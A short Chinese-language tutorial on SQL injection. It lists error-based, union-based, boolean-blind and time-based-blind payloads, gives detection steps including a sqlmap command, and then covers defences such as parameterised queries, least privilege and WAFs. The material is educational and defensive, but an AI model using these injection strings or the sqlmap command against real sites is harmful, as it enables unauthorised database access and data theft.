一、SQL注入攻击类型
1. 基于错误的注入(Error-Based)
原理:通过故意触发数据库错误,获取数据库类型/结构信息
攻击示例:
AND 1=CONVERT(int, (SELECT @@version)) --
2. 联合查询注入(Union-Based)
利用UNION操作符合并恶意查询结果
步骤:
-
确定字段数:ORDER BY 4--
-
探测回显位置:UNION SELECT 'A','B','C'--
3. 布尔盲注(Boolean Blind)
通过页面返回真假状态推测数据
AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a' --
4. 时间盲注(Time-Based Blind)
利用延时函数判断条件真假
MySQL示例:
AND IF(ASCII(SUBSTRING(database(),1,1))>100, SLEEP(5), 0) --
二,挖掘SQL注入漏洞
步骤1:寻找注入点
目标:URL参数、表单字段、Cookie、HTTP头部
探测方法:提交单引号 触发数据库错误
步骤2:判断数据库类型
MySQL:SELECT @@version
MSSQL:SELECT @@version
Oracle: SELECT banner FROM v$version
步骤3:自动化工具辅助
sqlmap -u "http://example.com?id=1" --risk=3 --level=5 --dbs
三、防御方案
- 参数化查询(预编译语句)
python
cursor.execute("SELECT * FROM users WHERE name = %s", (username,))
- 输入验证与过滤
白名单校验:如数字类型强制转换intval($input)
敏感字符黑名单:'",;()/*等
- 最小权限原则
数据库账户禁止使用root/sa等高权限账号
按需分配SELECT/UPDATE权限
- 其他加固措施
启用WAF(Web应用防火墙)
错误信息模糊处理,避免泄露数据库结构
定期扫描:使用Acunetix、AppScan等工具
四、高级攻击与防御演进
- 二次注入(Second-Order Injection)
特征:恶意数据先存储再触发,防御难度高
防御:所有外部输入均视为不可信,包括数据库读取的数据
- NoSQL注入
新兴威胁:MongoDB、Redis等非关系型数据库同样存在注入风险
防御示例(MongoDB):
使用ORM框架自带过滤
javascript
UserModel.findOne({ username: userInput });